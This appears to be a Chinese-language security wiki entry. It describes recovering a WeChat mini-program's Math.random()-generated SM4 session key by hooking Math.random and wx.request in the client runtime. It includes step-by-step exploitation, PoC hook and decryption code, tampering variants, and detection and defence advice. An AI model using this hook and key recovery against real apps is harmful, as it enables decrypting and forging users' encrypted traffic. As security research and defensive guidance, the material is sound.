Math.random 生成会话密钥的可预测性:小程序 32 位 shareKey 恢复
crypto/prng · verified
一句话结论
小程序用 Math.random() 逐字符生成 32 位十六进制会话密钥(shareKey)时,密钥不是密码学随机数,而是 32 次可观测输出的确定性映射;在客户端 JS 上下文注入 hook 记录 Math.random() 返回值后,取请求前的最后 32 个值按 floor(v*16) 还原,即可完整恢复 shareKey,进而解密和重加密全部通信。
原理
- 目标密钥生成逻辑:
for (i=0;i<32;i++) key += "0123456789abcdef"[Math.floor(Math.random()*16)],即 32 个十六进制字符(16 字节),直接作为 SM4 密钥。 - V8 的
Math.random()使用 XorShift128+ 一类非密码学 PRNG,输出可预测、不可作为密钥材料;更关键的是,密钥的每一位都由一个可被同进程 JS hook 观测到的Math.random()返回值唯一决定,没有引入任何服务端随机数或密码学熵。 - 因此攻击者只要能控制/观测客户端运行时(例如通过微信开发者工具 CDP/MCP 向 appservice 注入 JS),记录每次
Math.random()的返回值,就能在请求发生时取"该请求之前的最后 32 次调用",用Math.floor(val*16)映射回十六进制字符,重建 shareKey。 - 为什么成立:客户端自己生成密钥并用 SM2 公钥加密后随请求发送,服务端必须能恢复它;密钥的生成过程完全在客户端、完全由
Math.random()决定,没有任何防篡改或远端熵。hook 只是把"客户端本来就知道的密钥"读出来。 - 边界:该恢复方法依赖能在目标 JS 上下文执行 hook(授权测试中的开发者工具/CDP、或已控制客户端);仅有网络密文而没有 hook 能力时,不能直接恢复 shareKey。若实现改用
crypto.getRandomValues()/wx.getRandomValues()等 CSPRNG,则本方法失效。
触发条件
- 客户端 JS 使用
Math.random()生成会话密钥/IV/签名 nonce 等安全敏感值。 - 攻击者可对小程序 appservice 上下文注入 JS(微信开发者工具 CDP、MCP SSE 端点,或等价动态调试能力)。
- 能定位密钥生成函数与请求发送时机(webpack 模块分析或运行时 hook
wx.request)。 - 密钥长度和字符集固定,且由连续的
Math.random()调用生成。
利用步骤
- 反编译/调试客户端,定位密钥生成函数(本文为 webpack 模块 63 中的
u():32 次Math.random()取0123456789abcdef的字符)。 - 注入双重 hook:包装
Math.random()记录每次返回值;包装wx.request记录请求发出时的累计调用次数randomCallsAtRequest。 - 触发一次业务请求,读取日志中该请求之前的最后 32 个 random 值。
- 对每个值计算
idx = Math.floor(v * 16),按字符集0123456789abcdef取字符,拼接得到 32 位 shareKey。 - 用 shareKey 对请求
data做 SM4-CBC 解密验证;成功即恢复正确。 - 优化:不要全量扫描日志(5000 条约 36 秒),从末尾向前只取最后 50 个候选,通常第一个就命中,耗时 <1 秒。
- 后续可用该 shareKey 解密响应、重加密修改后的请求并重算 SM3 签名(见 [[mobile-miniprogram-sm-crypto-protocol-burp-transparent]])。
PoC
注入 hook(小程序 appservice 上下文):
(function () {
if (globalThis.__hookState && globalThis.__hookState.initialized) return 'ok';
var state = {
totalCalls: 0, logIndex: 0, maxLog: 5000,
randomLog: [], capturedRequest: null, initialized: true
};
var origRandom = Math.random;
var origRequest = wx.request;
Math.random = function () {
var val = origRandom();
state.randomLog[state.logIndex % state.maxLog] = val;
state.logIndex++;
state.totalCalls++;
return val;
};
Object.defineProperty(wx, 'request', {
configurable: true, enumerable: true, writable: true,
value: function (options) {
state.capturedRequest = {
url: options.url, method: options.method, data: options.data,
header: options.header, time: Date.now(),
randomCallsAtRequest: state.totalCalls
};
return origRequest.call(this, options);
}
});
globalThis.__hookState = state;
return 'ok';
})();
从日志恢复 shareKey:
// 取该请求之前的最后 32 次 Math.random() 返回值
const n = state.capturedRequest.randomCallsAtRequest;
const vals = [];
for (let i = n - 32; i < n; i++) {
vals.push(state.randomLog[i % state.maxLog]);
}
const alphabet = "0123456789abcdef";
const shareKey = vals.map(v => alphabet[Math.floor(v * 16)]).join('');
// shareKey 即 32 位十六进制字符串,可直接作为 SM4 密钥
# 恢复后的密钥直接用于 SM4-CBC 解密(gmssl)
key = bytes.fromhex(shareKey)
iv = bytes.fromhex(iv_hex)
crypt = CryptSM4()
crypt.set_key(key, SM4_DECRYPT)
plaintext = crypt.crypt_cbc(iv, bytes.fromhex(data_hex))
说明:PoC 为原文方法的精简复现,未在本机执行;hook 仅用于授权测试环境。
变体与关联
- 变体:
Math.random()还被用于生成 IV、nonce、验证码、重置令牌等;同一 hook 思路可恢复这些值。 - 变体:若无法注入 hook,但能获得同一 PRNG 的连续输出(如其他接口泄露随机值),可尝试 XorShift128+ 状态恢复来预测后续输出;难度和前提更高。
- 变体:其他语言/运行时的弱 PRNG(MT19937、
rand()、时间种子)可用各自的种子/状态恢复方法,思路相同:密钥由可预测输出决定。 - 关联:[[mobile-miniprogram-sm-crypto-protocol-burp-transparent]](完整小程序国密协议逆向与 Burp 透明加解密);[[crypto-implementation-gmssl-sm2-publickey-lstrip-hex-case]](SM2/SM3 复现时的实现坑点)。
- 边界:使用 CSPRNG、密钥由服务端下发、或有防调试/完整性校验阻止 hook 时,本方法不成立。
检测与防御
- 检测:客户端代码中出现
Math.random()参与密钥/IV/nonce/签名的模式;同一密钥在多次请求中呈现可预测的字符分布。 - 防御:所有安全敏感随机值使用
crypto.getRandomValues()/wx.getRandomValues()等 CSPRNG;密钥由服务端生成并绑定会话;不要在客户端用 PRNG 直接派生加密密钥。 - 加固:对客户端 JS 做完整性校验与反调试只能提高门槛,不能替代 CSPRNG;服务端增加重放/频率校验,缩短会话密钥生命周期。